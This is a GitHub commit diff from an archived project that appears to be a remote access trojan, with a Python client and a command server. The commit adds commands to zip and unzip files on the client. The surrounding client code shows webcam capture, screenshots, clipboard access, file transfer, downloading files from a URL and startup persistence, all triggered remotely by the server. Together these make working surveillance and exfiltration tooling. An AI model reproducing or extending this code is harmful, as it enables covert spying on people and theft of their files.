Skip to content
This repository was archived by the owner on Jul 20, 2024. It is now read-only.

Commit 69379a0

Browse files
committed
Added Support for Zipping Files
Added Support for Zipping Files
1 parent f98bd16 commit 69379a0

File tree

2 files changed

+86
-5
lines changed

2 files changed

+86
-5
lines changed

Client/client.py

Lines changed: 39 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import logging
44
import os
55
import platform
6+
import shutil
67
import socket
78
import subprocess
89
import sys
@@ -11,15 +12,15 @@
1112
import traceback
1213
from io import BytesIO, StringIO
1314
from pydoc import help
15+
from zipfile import ZipFile
1416

17+
import cv2
1518
import psutil
1619
import pyperclip
1720
import pyscreeze
1821
import requests
1922
from cryptography.fernet import Fernet
2023

21-
import cv2
22-
2324
if getattr(sys, 'frozen', False):
2425
CLIENT_PATH = os.path.dirname(sys.executable)
2526
elif __file__:
@@ -372,11 +373,44 @@ def receive_commands(self) -> None:
372373
self.send_file(data[1])
373374
continue
374375

375-
if data[0] == 'SEND FILE':
376+
if data[0] == 'SEND_FILE':
376377
self.receive_file(data[1])
377378
continue
378379

380+
if data[0] == 'ZIP_FILE':
381+
logging.info('Zipping File: {}'.format(data[2]))
382+
try:
383+
with ZipFile(data[1], 'w') as ziph:
384+
ziph.write(data[2])
385+
except Exception as e:
386+
self.send(json_dumps([False, errors(e)]))
387+
continue
388+
self.send(json_dumps([True, None]))
389+
continue
390+
391+
if data[0] == 'ZIP_DIR':
392+
logging.info('Zipping Folder: {}'.format(data[2]))
393+
try:
394+
shutil.make_archive(data[1], 'zip', data[2])
395+
except Exception as e:
396+
self.send(json_dumps([False, errors(e)]))
397+
continue
398+
self.send(json_dumps([True, None]))
399+
continue
400+
401+
if data[0] == 'UNZIP':
402+
logging.info('Unzipping: {}'.format(data[1]))
403+
try:
404+
with ZipFile(data[1], 'r') as ziph:
405+
ziph.extractall()
406+
except Exception as e:
407+
self.send(json_dumps([False, errors(e)]))
408+
continue
409+
self.send(json_dumps([True, None]))
410+
continue
411+
379412
if data[0] == 'DOWNLOAD':
413+
logging.info('Downloading "{}" from {}'.format(data[2], data[1]))
380414
try:
381415
r = requests.get(data[1])
382416
with open(data[2], 'wb') as f:
@@ -393,6 +427,7 @@ def receive_commands(self) -> None:
393427
continue
394428

395429
if data[0] == 'SCREENSHOT':
430+
logging.info('Taking Screenshot')
396431
try:
397432
with BytesIO() as output:
398433
img = pyscreeze.screenshot()
@@ -404,10 +439,10 @@ def receive_commands(self) -> None:
404439
self.send(errors(e).encode())
405440
continue
406441
self.send(content)
407-
logging.info('Sent Screenshot to Server')
408442
continue
409443

410444
if data[0] == 'WEBCAM':
445+
logging.info('Capturing Webcam')
411446
vc = cv2.VideoCapture(0)
412447
s, img = vc.read()
413448
vc.release()

Server/server.py

Lines changed: 47 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,7 @@ def is_windows() -> bool:
3737
--s | Transfers file to Client
3838
--r | Transfers file to Server
3939
--d | Download file from the web
40+
--z (file) (dir) (unzip) | Zip Files or Folders
4041
--c | Copies to Client Clipboard
4142
--p | Returns Client Current Clipboard
4243
--t (add) (remove) | Manage Startup (Windows)
@@ -377,10 +378,28 @@ def _get_info(self) -> tuple:
377378

378379
def info(self, _print=True) -> str:
379380
""" Get Client Info """
380-
# Returns str
381+
# returns str
381382
self.send(json_dumps(['INFO']))
382383
return self.receive(_print=_print).decode()
383384

385+
def zip_file(self, zip_filename, file_to_zip) -> (bool, str):
386+
""" Zip a Single File """
387+
# returns True/False, None/error
388+
self.send(json_dumps(['ZIP_FILE', zip_filename, file_to_zip]))
389+
return tuple(json_loads(self.receive()))
390+
391+
def zip_dir(self, zip_filename, dir_to_zip) -> (bool, str):
392+
""" Zip a Directory """
393+
# returns True/False, None/error
394+
self.send(json_dumps(['ZIP_DIR', os.path.splitext(zip_filename)[0], dir_to_zip]))
395+
return tuple(json_loads(self.receive()))
396+
397+
def unzip(self, zip_filename) -> (bool, str):
398+
""" Unzip a File """
399+
# returns True/False, None/error
400+
self.send(json_dumps(['UNZIP', zip_filename]))
401+
return tuple(json_loads(self.receive()))
402+
384403

385404
class MultiServer(object):
386405

@@ -603,6 +622,33 @@ def selector(self, client, command) -> bool:
603622
else:
604623
print(error)
605624
return
625+
if command == '--z':
626+
if select == 'file':
627+
save_as = input('Zip Filename: ')
628+
file_to_zip = input('File to Zip: ')
629+
result, error = client.zip_file(save_as, file_to_zip)
630+
if result:
631+
print('Zipping Successful.')
632+
else:
633+
print(error)
634+
return
635+
if select == 'dir':
636+
save_as = input('Zip Filename: ')
637+
dir_to_zip = input('Directory to Zip: ')
638+
result, error = client.zip_dir(save_as, dir_to_zip)
639+
if result:
640+
print('Zipped Directory Successfully.')
641+
else:
642+
print(error)
643+
return
644+
if select == 'unzip':
645+
zip_filename = input('Zip File: ')
646+
result, error = client.unzip(zip_filename)
647+
if result:
648+
print('Unzipped Successfully.')
649+
else:
650+
print(error)
651+
return
606652
if '--c' in command:
607653
text_to_copy = input('Text to copy: ')
608654
result, error = client.fill_clipboard(text_to_copy)

0 commit comments

Comments
 (0)